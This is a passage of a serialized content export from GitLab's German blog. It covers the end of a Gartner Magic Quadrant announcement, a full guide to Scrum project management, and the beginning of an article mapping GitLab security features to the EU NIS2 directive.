der KI ausschöpfen, behalten dabei aber gleichzeitig ihre Geschäftsziele, betrieblichen Anforderungen und Erwartungen der Kund(inn)en im Blick. Die Bereitstellung über ein selbst gehostetes Modell stellt sicher, dass Daten die sichere Umgebung eines Unternehmens nicht verlassen. So kann das Risiko für Verstöße verringert und die Compliance in Branchen mit hohen regulatorischen Anforderungen sichergestellt werden.\n\n## Wir bereiten den Weg in die Zukunft der KI in DevSecOps\n\nGitLab ist dein Partner für KI-gestützte Softwareentwicklung. Wir statten Teams mit den Tools aus, die sie brauchen, um Software schneller zu entwickeln, zu sichern und bereitzustellen. Innovation ist Teil unserer DNA – das heißt, dass unsere Kunden jederzeit von den neuesten Entwicklungen im Bereich der KI profitieren! Wir haben uns nicht weniger vorgenommen, als den Bereich DevSecOps kontinuierlich zu revolutionieren, also bleib dran und entdecke in unserer Roadmap jede Menge spannende Updates.\n\n> [Lade den Bericht des Gartner® Magic Quadrant™ für KI-Programmierassistenten 2024 jetzt herunter](https://about.gitlab.com/de-de/gartner-mq-ai-code-assistants/).\n\n***Quelle: Gartner, Magic Quadrant für KI-Programmierassistenten, Arun Batchu, Haritha Khandabattu, Philip Walsh, Matt Brasier, August 2024***\n\n***GARTNER ist eine eingetragene Marke und Dienstleistungsmarke von Gartner, Inc. und/oder seinen verbundenen Unternehmen in den USA und international, und MAGIC QUADRANT ist eine eingetragene Marke von Gartner, Inc. und/oder seinen verbundenen Unternehmen und wird hierin mit Genehmigung verwendet. Alle Rechte vorbehalten.***\n\n***Gartner empfiehlt keine Anbieter, Produkte oder Dienstleistungen, die in seinen Forschungspublikationen abgebildet sind, und rät Technologiebenutzer(inne)n nicht, nur die Anbieter mit den höchsten Bewertungen oder anderen Bezeichnungen auszuwählen. Gartner-Forschungspublikationen bestehen aus den Meinungen der Forschungsorganisation von Gartner und sollten nicht als Tatsachenbehauptungen ausgelegt werden. Gartner lehnt alle ausdrücklichen oder stillschweigenden Gewährleistungen in Bezug auf diese Studie ab, einschließlich aller Gewährleistungen der Marktgängigkeit oder Eignung für einen bestimmten Zweck.***\n\n***Diese Grafik wurde von Gartner Inc. als Teil eines umfassenderen Berichts veröffentlicht und sollte im Kontext des gesamten Dokuments bewertet werden. Das Gartner-Dokument ist auf Anfrage bei Gartner B.V. erhältlich.***\n",[1467],"2024-08-22","GitLab zum Leader im Gartner Magic Quadrant für KI-Programmierassistenten 2024 ernannt",[723,679,787,1470],{"slug":2885,"featured":92,"template":682},"gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants","content:de-de:blog:gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants.yml","Gitlab Named A Leader In 2024 Gartner Magic Quadrant For Ai Code Assistants","de-de/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants.yml","de-de/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants",{"_path":2891,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2892,"content":2897,"config":2903,"_id":2905,"_type":16,"title":2906,"_source":17,"_file":2907,"_stem":2908,"_extension":20},"/de-de/blog/scrum-project-management-how-it-works",{"title":2893,"description":2894,"ogTitle":2893,"ogDescription":2894,"noIndex":6,"ogImage":1547,"ogUrl":2895,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2895,"schema":2896},"Scrum-Projektmanagement: So geht’s","In der Welt des Projektmanagements ist Scrum zu einem Schlüsselbegriff geworden, der für Flexibilität, Effizienz und kontinuierliche Verbesserung steht.","https://about.gitlab.com/blog/scrum-project-management-how-it-works","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scrum-Projektmanagement: So geht’s\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2024-08-21\",\n      }",{"title":2893,"description":2894,"authors":2898,"heroImage":1547,"date":2899,"body":2900,"category":976,"tags":2901,"updatedDate":2902},[701],"2024-08-21","Scrum ist jedoch mehr als nur eine Methode – es ist ein Framework, das den Teams ermöglicht, komplexe Projekte agil und erfolgreich zu bearbeiten.\n\n## Was ist Scrum-Projektmanagement?\n\nScrum ist wie der Rennwagen unter den Projektmanagementmethoden: schnell, flexibel und fokussiert. Es ist eine agile Methode, die darauf abzielt, komplexe Projekte in kurzen Iterationen, sogenannten Sprints, zu bewältigen. Diese Sprints ermöglichen es Teams, sich auf klare Ziele zu konzentrieren und gleichzeitig agil auf Veränderungen zu reagieren. Ursprünglich für die Softwareentwicklung ins Leben gerufen, hat sich Scrum mittlerweile in verschiedenen Branchen etabliert und wird für verschiedene Projekte, die nach einer agilen und iterativen Herangehensweise suchen, genutzt.\n\nDen Kern von Scrum bilden Prinzipien wie Transparenz, Inspektion und Anpassung. Das bedeutet, dass alle relevanten Informationen über den Projektfortschritt offengelegt werden, das Team seine Arbeit regelmäßig selbst überprüft und dann Anpassungen vornimmt, um stetig besser zu werden. Deshalb liegt ein wichtiger Fokus von Scrum auf der Zusammenarbeit. Statt endloser Planungsphasen und linearer Projektabwicklung setzt Scrum auf kurze Entwicklungszyklen. Diese dauern typischerweise ein bis vier Wochen und haben ein klares Ziel. Am Ende eines jeden Sprints wird ein greifbares Ergebnis präsentiert – so haben Teams einen konstanten Motivationsschub. \n\n## Das Scrum-Framework – Aufbau und Features\n\nUm das Scrum-Projektmanagement erfolgreich durchführen zu können, besteht das Scrum-Framework aus drei Hauptkomponenten: Rollen, Artefakten und Zeremonien.\n\n### Welche Rollen gibt es in Scrum?\n\nIn Scrum sind drei zentrale Rollen maßgeblich für den Erfolg bei der Umsetzung von Projekten:\n\n#### Product Owner\n\nProduct Owner spielen eine entscheidende Rolle im Scrum-Team und sind verantwortlich für die Maximierung des Produktwerts. Das bedeutet, dass die Person in dieser Position die Anforderungen des Projekts basierend auf den Bedürfnissen der Stakeholder und des Marktes definiert und priorisiert. Als Hauptansprechpartner(innen) für die Stakeholder arbeiten Product Owner eng mit ihnen zusammen, um sicherzustellen, dass das Produkt ihren Erwartungen entspricht und maximalen Nutzen bietet. Diese Rolle erfordert eine klare Vision, strategische Entscheidungsfindung und die Fähigkeit, Anforderungen effektiv zu kommunizieren und zu priorisieren.\n\n#### Entwicklungsteam\n\nDas Entwicklungsteam besteht aus den Expert(innen), die die eigentliche Entwicklungsarbeit leisten und das Produkt vorantreiben. Es ist selbstorganisiert und hat so die Freiheit, kreative Wege zu finden, um die Aufgaben aus dem Sprint-Backlog zu erledigen. Eigenverantwortung ist hier das A und O. Das Team verpflichtet sich, während jedes Sprints erstklassige Arbeit abzuliefern. Eine enge Zusammenarbeit und offene Kommunikation innerhalb des Teams sind entscheidend, um ein gemeinsames Verständnis der Anforderungen zu entwickeln und effektiv voranzukommen. Das Entwicklungsteam ist der Motor des Projekts und trägt die Hauptlast bei der Umsetzung der Produktanforderungen.\n\n#### Scrum Master\n\nScrum Master sind dafür da, das Scrum-Team zu unterstützen und sicherzustellen, dass es richtig Gas geben kann. Sie räumen Hindernisse aus dem Weg, die den Teamfortschritt behindern könnten, und schaffen eine Umgebung, in der Zusammenarbeit und ständige Verbesserung großgeschrieben werden. Außerdem helfen sie dem Team, die Prinzipien und Praktiken von Scrum zu durchdringen und umzusetzen. Das kann Schulungen, Workshops und regelmäßige Coaching-Sessions beinhalten, um sicherzustellen, dass das Team sein volles Potenzial entfalten kann.\n\nDiese drei Rollen ziehen im Scrum-Team an einem Strang, damit alle effektiv zusammenarbeiten und hochwertige Produkte in Rekordzeit auf den Markt gebracht werden. Die klare Verantwortungsaufteilung und die enge Zusammenarbeit sind Schlüssel dafür, dass das Team auf Hochtouren läuft und die Projektziele erreicht werden.\n\n### Was sind Scrum-Artefakte?\n\nScrum definiert eine Reihe von Artefakten, die dazu dienen, den Fortschritt des Projekts zu verfolgen und sicherzustellen, dass das Team in die richtige Richtung steuert.\n\n#### Product-Backlog\n\nHier sind sämtliche Anforderungen an das Projekt festgehalten, sei es in Form von User Stories, Features oder Aufgaben. Product Owner übernehmen die Verantwortung für die Pflege und Priorisierung dieses Backlogs, um zu gewährleisten, dass Teams stets an den wichtigsten Aspekten des Produkts arbeiten.\n\n#### Sprint-Backlog\n\nDer Sprint-Backlog ist die To-do-Liste für einen bestimmten Scrum-Sprint. Es werden die Aufgaben aufgeführt, die während dieses Zeitraums erledigt werden sollen. Das Entwicklungsteam wählt die Aufgaben aus dem Product-Backlog aus und verpflichtet sich, sie innerhalb des Sprints abzuschließen.\n\n#### Inkrement\n\nDas Inkrement ist das Ergebnis eines abgeschlossenen Sprints und stellt einen möglicherweise auslieferbaren Teil des Produkts dar. Es sollte eine funktionsfähige und getestete Version des Produkts sein, die den Product Ownern vorgestellt werden kann, um sicherzustellen, dass das Team die gestellten Anforderungen erfüllt hat.\n\n### Was sind Scrum Zeremonien?\n\nUm den Projektfortschritt zu synchronisieren und Hindernisse frühzeitig aus dem Weg zu räumen, organisiert ein Scrum-Team regelmäßig bestimmte Zeremonien, die die Effizienz und Transparenz des Entwicklungsprozesses maximieren:\n\n#### Sprint Planning\n\nBeim Sprint Planning legt das Team die Ziele fest und definiert den Umfang der Arbeit. Hier entscheidet das Team gemeinsam, welche Aufgaben vom Product-Backlog in den Sprint-Backlog aufgenommen werden. Die Product Owner klären die Anforderungen, und das Team schätzt den Aufwand ab, um zu bewerten, ob der Sprint realistische Ziele hat. Dabei verwenden die Teammitglieder Scrum Story Points als Maßeinheit, um den relativen Aufwand oder die Komplexität jeder Aufgabe zu bewerten. Durch diese Schätzungen können sie besser bewerten, wie viel Arbeit sie im Sprint durchführen können.\n\n#### Daily Scrum\n\nDas tägliche Stand-up-Meeting, auch als Daily Scrum bekannt, ist eine kurze Besprechung, um den Fortschritt zu besprechen und Hindernisse zu identifizieren. Jedes Teammitglied teilt mit, was seit dem letzten Meeting erreicht wurde, welche Herausforderungen es gibt und welche Aufgaben als Nächstes angegangen werden. Dies fördert die Kommunikation im Team und hilft, Hindernisse frühzeitig zu beseitigen.\n\n#### Sprint-Review\n\nAm Ende jedes Sprints findet die Sprint-Review statt, bei der das Team das abgeschlossene Inkrement präsentiert und Feedback von den Stakeholdern erhält. Hier demonstriert das Team die erledigte Arbeit und diskutiert Möglichkeiten zur Verbesserung. Die Stakeholder haben die Gelegenheit, Fragen zu stellen und Änderungsvorschläge zu machen, damit das Produkt bei der Fertigstellung den Anforderungen entspricht.\n\n#### Sprint Retrospective\n\nDie Sprint Retrospective ist eine Reflexionsveranstaltung, die nach der Sprint-Review stattfindet. Das Team reflektiert über den abgeschlossenen Scrum Sprint und identifiziert Verbesserungsmöglichkeiten für den nächsten. Dabei werden Erfolge, Probleme und Lernpunkte diskutiert, um Erkenntnisse zu gewinnen und den Entwicklungsprozess kontinuierlich zu verbessern.\n\nDiese Zeremonien sind entscheidend dafür, dass das Scrum-Team transparent arbeitet, sich regelmäßig über den Fortschritt austauscht und kontinuierlich an seiner Leistungsfähigkeit arbeitet. Durch die klare Struktur und den regelmäßigen Austausch werden Hindernisse frühzeitig erkannt und beseitigt, was zu einem effizienteren und produktiveren Entwicklungsprozess führt.\n\n## Warum Scrum nutzen?\n\nScrum bietet für [DevOps](https://about.gitlab.com/de-de/topics/devops/ \"DevOps\")-Teams viele Vorzüge, darunter Flexibilität, klare Kommunikation und regelmäßige Wertlieferung. Doch es ist wichtig zu beachten, dass die Einführung von Scrum auch einige Herausforderungen mit sich bringen kann, wie die Anpassung an neue Rollen und Prozesse. Deshalb ist es entscheidend, dass das Team gründlich geplant und geschult wird, da eine effektive Nutzung der Scrum-Methode dies voraussetzt.\n\n### Vorteile von Scrum\n\n- __Flexibilität und Anpassungsfähigkeit:__ Mit Scrum können DevOps-Teams blitzschnell auf neue Anforderungen reagieren und sich an veränderte Bedingungen anpassen. Kurze Iterationen und regelmäßige Check-ins machen das Team besonders agil.\n- __Klare Kommunikation:__ Durch regelmäßige Meetings wie dem Daily Scrum und Sprint-Reviews herrscht in einem Scrum-Team eine offene Kommunikationskultur. Das hilft, Hindernisse frühzeitig zu erkennen und die Teamarbeit zu verbessern.\n- __Kontinuierliche Lieferung von Mehrwert:__ Scrum stellt sicher, dass DevOps-Teams kontinuierlich wertvolle Funktionen liefern. Das bedeutet, dass Kund(inn)en regelmäßig mit neuen Features versorgt werden und der Wert des Produkts kontinuierlich steigt.\n- __Effiziente Ressourcennutzung:__ Dank der klaren Priorisierung im Product-Backlog können DevOps-Teams ihre Ressourcen effizient nutzen und sich auf die wichtigsten Aufgaben konzentrieren.\n- __Stärkung der Teamdynamik:__ Scrum fördert Selbstorganisation und Eigenverantwortung im Team. Das steigert die Motivation und das Engagement der Teammitglieder und verbessert die Zusammenarbeit deutlich.\n\n### Potenzielle Nachteile von Scrum\n\n- __Komplexität der Einführung:__ Die Einführung von Scrum erfordert oft einen kulturellen Wandel und kann anfangs recht komplex sein. Es braucht Zeit und Ressourcen, bis sich das Team an die neuen Prozesse und Rollen gewöhnt hat.\n- __Anforderungen an die Teamgröße:__ Scrum funktioniert am verlässlichsten mit Teams von bestimmter Größe. Zu kleine Teams könnten überlastet sein, während zu große Teams möglicherweise weniger effektiv arbeiten könnten.\n- __Risiko von Missverständnissen:__ Bei einer falschen Implementierung von Scrum oder unklaren Rollen kann es zu Missverständnissen und Frustration im Team kommen.\n- __Hoher Kommunikationsaufwand:__ Regelmäßige Meetings und offene Kommunikation können viel Zeit in Anspruch nehmen, wenn sie ineffizient gestaltet werden.\n- __Vorhersagbarkeit:__ Aufgrund der agilen Natur von Scrum kann es schwierig sein, genaue Vorhersagen über die Fertigstellung von Aufgaben oder Features zu treffen. Das kann zu Unsicherheiten bei der Planung und Budgetierung führen.\n\n## Scrum vs. Kanban vs. Agilität: Ein Vergleich der agilen Ansätze\n\nScrum, Agile und Kanban sind drei verschiedene Ansätze für das Projektmanagement, die sich jeweils durch einzigartige Merkmale auszeichnen.\n\n### Scrum\n\nScrum zeichnet sich durch seine strukturierten Zeitrahmen, bekannt als Sprints, aus. Innerhalb dieser Sprints arbeitet das Team an einer klar definierten Anzahl von Aufgaben, um am Ende des Sprints ein funktionsfähiges Produktinkrement zu liefern. Scrum arbeitet dabei mit Rollen wie Product Ownern, welche die Anforderungen priorisieren, dem Entwicklungsteam, das die Arbeit ausführt, und den Scrum Mastern, die das Team unterstützen. Die klare Rollenverteilung und die festen Zeitrahmen helfen, den Entwicklungsprozess zu organisieren und zu steuern.\n\n### Kanban\n\nKanban hingegen konzentriert sich auf die Visualisierung des Arbeitsflusses und die kontinuierliche Lieferung von Arbeit. Es gibt keine festen Zeitrahmen wie in Scrum. Stattdessen zeigt das Kanban-Board den aktuellen Status jedes Arbeitselements an, und das Team zieht kontinuierlich neue Aufgaben in den Arbeitsprozess, sobald Kapazitäten frei werden. Kanban bietet Flexibilität und ermöglicht es Teams, sich schnell an sich ändernde Anforderungen anzupassen und den Arbeitsfluss kontinuierlich zu verbessern.\n\n### Agilität\n\nAgilität hingegen betont Flexibilität, Selbstorganisation und kontinuierliche Verbesserung als übergeordneten Ansatz. Anders als bei Scrum gibt es hier keine festen Methoden oder Rahmenwerke, sondern ein Mindset, das auf Werten und Prinzipien basiert. Agile Methoden wie Scrum sind Teil dieses Ansatzes, neben anderen wie Extreme Programming (XP) oder Lean, die verschiedene Techniken umfassen.\n\n## Scrum Management mit GitLab\nGitLab bietet eine umfassende [Plattform für das DevOps-Lifecycle-Management](https://about.gitlab.com/de-de/platform/ \"Plattform für das DevOps-Lifecycle-Management\"). Neben Funktionen für die Versionskontrolle, [Continuous Integration](https://about.gitlab.com/de-de/solutions/continuous-integration/ \"Continuous Integration\") und Deployment stellt GitLab auch Projektmanagement-Tools bereit. Eines dieser Tools ist das Scrum-Management, das eine agile Projektmanagementmethode unterstützt. GitLab integriert Scrum-Management nahtlos in seine Plattform, was es Teams ermöglicht, Projekte effizient zu planen, zu verfolgen und zu verwalten.\n\nDurch die Verwendung von GitLab für das Scrum Management können Teams Backlogs verwalten, Sprints planen, Aufgaben zuweisen und den Fortschritt von Projekten in Echtzeit verfolgen. Außerdem ermöglicht die Integration von GitLab mit anderen DevOps-Tools eine nahtlose Zusammenarbeit zwischen Entwicklung, Qualitätssicherung und Betrieb.\n\n## Scrum Management – FAQs\n\n### Ist Scrum eine agile Methode?\n\nScrum ist eine agile Methode. Sie wird als agil betrachtet, weil sie die Grundsätze des Agilen Manifests unterstützt, das eine Reihe von Werten und Prinzipien für die agile Softwareentwicklung definiert. Scrum fördert die iterative Entwicklung, enge Zusammenarbeit im Team, Flexibilität bei der Anpassung an Änderungen und die kontinuierliche Verbesserung des Prozesses.\n\n### Wie lange dauert ein typischer Sprint und wie werden Sprints geplant?\n\nDie Dauer eines typischen Sprints in Scrum liegt normalerweise zwischen ein bis vier Wochen. Diese Zeitspanne wird vom Scrum-Team bestimmt und kann je nach den Projektanforderungen und den Präferenzen des Teams variieren. Manche Teams ziehen kürzere Sprints von einer Woche vor, während andere längere Sprints von vier Wochen wählen.\n\nDie Planung eines Sprints erfolgt während eines speziellen Meetings, das als Sprint Planning Meeting bekannt ist. Dabei setzt sich das Scrum-Team zusammen, um die Ziele für den kommenden Sprint festzulegen und die Aufgaben aus dem Produkt-Backlog auszuwählen, die während des Sprints erledigt werden sollen.\n\n### Wie geht ein Scrum-Team mit Änderungen während eines laufenden Sprints um?\n\nEin Scrum-Team geht mit Änderungen während eines laufenden Sprints flexibel um:\n\n__1. Identifizierung:__ Eine Änderungsanfrage wird erkannt, priorisiert und ins Product-Backlog aufgenommen.\n\n__2. Anpassung des Sprint-Backlogs:__ Falls nötig, wird das Sprint-Backlog angepasst, um Platz für die Änderung zu schaffen.\n\n__3. Teamkonsens:__ Das Team entscheidet gemeinsam, ob und wie die Änderung umgesetzt wird, unter Berücksichtigung der Sprint-Ziele und potenzieller Risiken.\n\n__4. Transparente Kommunikation:__ Alle Stakeholder werden über die Änderungen informiert, einschließlich einer möglichen Anpassung des Sprint-Ziels.\n",[973],"2024-12-19",{"slug":2904,"featured":6,"template":682},"scrum-project-management-how-it-works","content:de-de:blog:scrum-project-management-how-it-works.yml","Scrum Project Management How It Works","de-de/blog/scrum-project-management-how-it-works.yml","de-de/blog/scrum-project-management-how-it-works",{"_path":2910,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2911,"content":2916,"config":2922,"_id":2924,"_type":16,"title":2925,"_source":17,"_file":2926,"_stem":2927,"_extension":20},"/de-de/blog/how-gitlab-helps-meet-nis2-requirements",{"ogTitle":2912,"schema":2913,"ogImage":1683,"ogDescription":2914,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2915,"title":2912,"canonicalUrls":2915,"description":2914},"So hilft GitLab dabei, die NIS2-Anforderungen einzuhalten","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So hilft GitLab dabei, die NIS2-Anforderungen einzuhalten\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-08-20\",\n      }","Beim NIS2-Cybersicherheitsgesetz der EU geht es um Resilienz, Reaktion auf Vorfälle und Risikomanagement. Erfahre, wie GitLabs DevSecOps-Plattform helfen kann, diese Compliance-Anforderungen einzuhalten.","https://about.gitlab.com/blog/how-gitlab-helps-meet-nis2-requirements",{"heroImage":1683,"body":2917,"authors":2918,"updatedDate":2919,"date":2920,"title":2912,"tags":2921,"description":2914,"category":765},"Regierungen und Aufsichtsbehörden auf der ganzen Welt erlassen ständig neue Gesetze und Vorgaben, um auf die wachsenden Risiken der globalen Digitalisierung und die daraus entstehenden Bedrohungen im Bereich der Cybersicherheit einzugehen. Bei der [NIS2-Richtlinie](https://eur-lex.europa.eu/legal-content/DE/TXT/?uri=CELEX:02022L2555-20221227) der EU handelt es sich um ein Gesetz, das die Cybersicherheit verbessern soll, indem Wert auf Kernkompetenzen wie Resilienz, Reaktion auf Vorfälle und Risikomanagement gelegt wird.\n\nAls umfassendste KI-gestützte DevSecOps-Plattform wird GitLab auf der ganzen Welt eingesetzt, um schneller bessere Software zu entwickeln. Durch die vielfältigen Funktionen ist GitLab ein einzigartiges, wertvolles Asset, mit dem wir viele [Sicherheits- und Compliance-Anforderungen](https://about.gitlab.com/de-de/solutions/security-compliance/) unserer Kund(inn)en erfüllen können. Sehen wir uns an, wie genau Kund(inn)en die GitLab-Plattform für ihre Maßnahmen hinsichtlich NIS2-Compliance nutzen können.\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## Artikel 7: Nationale Cybersicherheitsstrategie\n\n**Abschnitt 2(a) – für die Cybersicherheit in der Lieferkette für IKT-Produkte und IKT-Dienste, die von Einrichtungen für die Erbringung ihrer Dienste genutzt werden.**\n\nNIS2 verlangt von den Mitgliedstaaten, Richtlinien zu erlassen, die sich mit der Cybersicherheit in der Lieferkette befassen. Die Richtlinien müssen zwar von den einzelnen Mitgliedsstaaten erst festgelegt werden, die [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) von GitLab bietet jedoch schon jetzt Funktionen, mit denen Kund(inn)en die Sicherheit ihrer angebotenen Dienste sowie ihrer Lieferkette verwalten können.\n\n- [Statische Anwendungssicherheitstests (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing), [Sicherheitsscans für Infrastructure as Code](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) und [dynamische Anwendungssicherheitstests (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing) ermöglichen es Kund(inn)en, ihren Quellcode, Infrastrukturdefinitionsdateien und ausgeführte Anwendungen auf Sicherheitslücken zu überprüfen. Dann können die Ergebnisse entsprechend den Prozessen des jeweiligen Unternehmens priorisiert und bearbeitet werden.\n\n- Mit der Funktion [Container-Scanning](https://about.gitlab.com/features/?stage=secure#container_scanning) von GitLab können Kund(inn)en bekannte Sicherheitslücken in ihren Container-Images identifizieren.\n\n![Bericht zum Container-Scanning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.38.54.png)\n\n- Für die Lieferkette hilft die [Abhängigkeitssuche](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), bekannte Sicherheitslücken in den Anwendungsabhängigkeiten unserer Kund(inn)en zu identifizieren. Die [Lizenzkonformität](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) ist eine Erweiterung der Abhängigkeitssuche, denn dabei wird überprüft, ob die Lizenzen von Abhängigkeiten eine Reihe von Kriterien erfüllen, die vom Unternehmen festgelegt wurden.\n\n- Mit der [Liste der Abhängigkeiten](https://docs.gitlab.com/ee/user/application_security/dependency_list/) von GitLab können Unternehmen auch eine [CycloneDX-Software-Stückliste (SBOM)](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) erstellen. Weitere Informationen findest du in [diesem Tutorial zum Exportieren einer SBOM](https://docs.gitlab.com/ee/tutorials/export_sbom.html). Zudem hilft dir unser [ultimativer Leitfaden zu SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) dabei, alles über Software Bills of Materials zu verstehen.\n\nGemeinsam bilden diese Scan-Funktionen eine ganzheitliche, starke Test-Suite, die eine robuste Anwendungsentwicklung und resiliente Lieferkettenmanagement-Prozesse ermöglicht. DAST, Abhängigkeitssuche und Lizenzkonformität sind in GitLab-Ultimate-Abonnements enthalten.\n\n> [Teste GitLab Ultimate 30 Tage lang kostenlos](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n\n## Artikel 21: Risikomanagementmaßnahmen im Bereich der Cybersicherheit\n\nNIS2 verlangt von den Mitgliedstaaten, sicherzustellen, dass Einrichtungen, die eine tragende Rolle spielen, die geeigneten technischen, organisatorischen und betrieblichen Maßnahmen ergreifen, um Risiken ordnungsgemäß zu managen. Dadurch sollen die Auswirkungen vermindert werden, mit denen sich die Benutzer(innen) ihrer Dienste aufgrund von verschiedenen Vorfällen konfrontiert sahen.\n\n**Abschnitt 2(d) – Sicherheit der Lieferkette einschließlich sicherheitsbezogener Aspekte der Beziehungen zwischen den einzelnen Einrichtungen und ihren unmittelbaren Anbieter(inne)n oder Diensteanbieter(inne)n.**\n\nWie oben erwähnt, bietet die [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) von GitLab den Kund(inn)en eine große Auswahl an Funktionen, um Sicherheitslücken zu erkennen und darauf zu reagieren. So wird die Sicherheit des Codes verbessert und Risiken in der Lieferkette werden behoben.\n\nDiese Funktionen können genutzt werden, um die Anforderungen zu erfüllen, die die Mitgliedsstaaten im Rahmen dieses Gesetzesabschnittes zukünftig auf die einzelnen Unternehmen übertragen.\n\n**Abschnitt 2(e) – Sicherheitsmaßnahmen bei Erwerb, Entwicklung und Wartung von Netz- und Informationssystemen, einschließlich Management und Offenlegung von Schwachstellen.**\n\nAls umfassende DevSecOps-Plattform bietet GitLab Funktionen, mit denen die Lebenszyklen der Softwarebereitstellung unserer Kund(inn)en von Anfang bis Ende geschützt werden können.\n\n- Die [Planungstools](https://about.gitlab.com/features/?stage=plan) von GitLab können für das Projektmanagement verwendet werden und stellen sicher, dass die Informationssicherheit in allen Phasen des Projektlebenszyklus gewahrt wird. Weitere Informationen findest du unter [So unterstützt dich GitLab bei deiner ISO-27001-Compliance](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/#organizational-controls).\n\n- Durch Funktionen wie [geschützte Branches](https://docs.gitlab.com/ee/user/project/protected_branches.html), [Merge-Request-Approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), [Push-Regeln](https://docs.gitlab.com/ee/push_rules/push_rules.html) und [unterzeichnete Commits](https://docs.gitlab.com/ee/user/project/repository/signed_commits/) bildet GitLab in der [Entwicklungsphase](https://about.gitlab.com/features/?stage=create) eine sichere Grundlage, auf deren Basis Entwickler(innen) bei der Iteration und Erstellung von sicherem Code arbeiten können.\n\n![Unterzeichnete Commits](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.34.24.png)\n\n- Die oben genannten Funktionen der [Sicherungsphase](https://about.gitlab.com/features/?stage=verify) von GitLab bilden eine auf Sicherheit fokussierte Grundlage für die [Verifizierungs-](https://about.gitlab.com/features/?stage=verify), [Paket-](https://about.gitlab.com/features/?stage=package) und [Bereitstellungsphasen](https://about.gitlab.com/features/?stage=deploy) von GitLab. Zu diesen Phasen gehören Kernfunktionen der [kontinuierlichen Integration](https://about.gitlab.com/features/?stage=verify)/[kontinuierlichen Lieferung](https://about.gitlab.com/features/?stage=deploy) wie [MR-Pipelines](https://docs.gitlab.com/ee/ci/merge_request_pipelines/) und [geschützte Runner](https://docs.gitlab.com/ee/ci/runners/#prevent-runners-from-revealing-sensitive-information) sowie mehrere Artefaktregister für organisatorische Anforderungen.\n\n- Die [Überwachungsphase](https://about.gitlab.com/features/?stage=monitor) von GitLab bietet Funktionen wie [Warnungen](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) und [Vorfälle](https://docs.gitlab.com/ee/operations/incident_management/incidents.html), mit denen Unternehmen auf Vorfälle aufmerksam werden und diese bis zur Behebung in GitLab nachverfolgen können.\n\n- Die Funktionen von GitLab für die [Regulierungsphase](https://about.gitlab.com/features/?stage=govern) setzen den Standard dafür, wer eine GitLab-Instanz auf welche Weise verwenden kann. Sie tragen auch zu den allgemeinen Compliance-Bemühungen eines Unternehmens bei.\n  - Funktionen wie [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html), [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) und [benutzerdefinierte Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) tragen effektiv zu Authentifizierungs- und Autorisierungslebenszyklen bei.\n  - [MR-Approvalrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) sind ein leistungsstarkes Tool für die Implementierung eines Sicherheitstors in deinem Software-Entwicklungsprozess. Mithilfe von MR-Approvalrichtlinien kann ein Unternehmen zusätzliche Approvals für Ereignisse erfordern, z. B. wenn nach einem Commit Sicherheitslücken erkannt werden oder bestimmte Lizenztypen in Abhängigkeiten erkannt werden. Außerdem sind sie für alle MR erforderlich, die für einen bestimmten geschützten Branch erstellt wurden. MR-Approvalrichtlinien sind in GitLab-Ultimate-Abonnements enthalten.\n  - Mit [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) können Unternehmen die Funktion zum [Erklären von Sicherheitslücken](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability) nutzen, um:\n    - Sicherheitslücken zusammenzufassen\n    - Entwickler(inne)n und Sicherheitsanalytiker(inne)n zu helfen, die Sicherheitslücken zu verstehen und herauszufinden, wie diese ausgenutzt und behoben werden können\n    - eine Abhilfemaßnahme vorzuschlagen \n  -  [Streaming von Audit-Ereignissen](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) ermöglichen es Unternehmen, Audit-Ereignisse von ihrer Hauptgruppe an einen externen Standort zu senden, um alle Ereignisse zu Gruppen, Untergruppen und Projekten zu erhalten. Das Streaming von Audit-Ereignissen ist in GitLab-Ultimate-Abonnements enthalten.\n  - Ein starkes Insider-Bedrohungsprogramm kombiniert mehrere Ebenen von erkennenden, präventiven und reaktiven Kontrollen. Die [Ratenbegrenzung von 